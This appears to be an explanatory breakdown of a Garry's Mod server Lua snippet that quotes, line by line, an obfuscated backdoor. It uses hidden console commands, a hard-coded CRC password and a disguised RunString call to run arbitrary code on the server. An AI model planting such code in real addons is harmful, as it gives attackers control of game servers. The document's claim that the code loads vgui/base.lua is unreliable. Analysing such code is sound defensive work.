This code appears to be for use in Garry's Mod...
This code appears to be for use in Garry's Mod (a sandbox game developed in Source Engine). It primarily works with the SERVER context, indicating that it will be executed on the server side of a multiplayer session in the game. Here’s a breakdown of what this code does:
- Defines a
SERVER
-only scope:
This ensures that the included code only runs on the server (not on the client in a Garry's Mod environment).if SERVER then
- Creates a local table and adds two console commands:
local a = {}
a
is a local table that will apparently store some authentication information.
-
Defines a command callback for
_____vvvc_auth
:concommand.Add('_____vvvc_auth', function(b, c, d)
This registers a console command called
_____vvvc_auth
, which is used for a specific kind of authentication processing. -
Checks and processes arguments:
if not d or not d[1] then return end
It ensures the command is properly called with at least 1 argument. If no arguments are passed (
d
ord[1]
is missing), the function exits early. -
Computes a CRC hash of the argument:
local e = util.CRC(d[1])
Converts the first string argument (
d[1]
) into a CRC32 hash. -
Compares the hash to a specific value:
if e and e == '659018158' then a[b] = true end
It checks if the computed CRC matches the value
'659018158'
. If it matches, the player (b
, which typically represents the player issuing the command) is stored in thea
table and marked as authenticated.
-
Defines the function
f
:local f = function(g) _G[string.reverse('gnirtSnuR')](g, util.Base64Decode'dmd1aS9iYXNlLmx1YQ==') end
- It dynamically calls a global function named by reversing
'gnirtSnuR'
, which becomesRunString
.RunString
is used to execute a string of Lua code. - The second argument to
RunString
is the Base64-decoded string'dmd1aS9iYXNlLmx1YQ=='
, which decodes to'vgui/base.lua'
.
Essentially, this part loads the file
vgui/base.lua
into the Lua runtime. This might be intended to execute user-supplied scripts. - It dynamically calls a global function named by reversing
-
Adds another console command:
_____vvvc
:concommand.Add('_____vvvc', function(b, c, d)
This defines a command named
_____vvvc
. -
Checks arguments and authentication:
if not d or not d[1] then return end if not a[b] then return end
- Validates that arguments are provided (
d[1]
exists). - Ensures the player (
b
) is authenticated (i.e., they successfully authenticated previously via_____vvvc_auth
).
- Validates that arguments are provided (
-
Runs arbitrary Lua code:
f(table.concat(d, ''))
Uses
table.concat
to merge all arguments passed into a single string. This concatenated string is passed to the functionf
, which in turn executes it as Lua code.
Summary:
- The script adds two console commands:
_____vvvc_auth
: Performs a kind of "authentication" based on a CRC32 hash of a given argument. Players who provide the correct argument (d[1]
hashing to'659018158'
) are marked as authenticated._____vvvc
: Executes arbitrary Lua code passed as arguments, but only for players who are authenticated via_____vvvc_auth
.
Potential issues:
This code enables potentially dangerous behavior:
- It allows authenticated players to run arbitrary Lua code on the server through the
_____vvvc
command. - The authentication process relies solely on knowing a single CRC32 hash value, which could be reverse-engineered or guessed.
This could be exploited to compromise the server, as running arbitrary Lua is a significant security risk.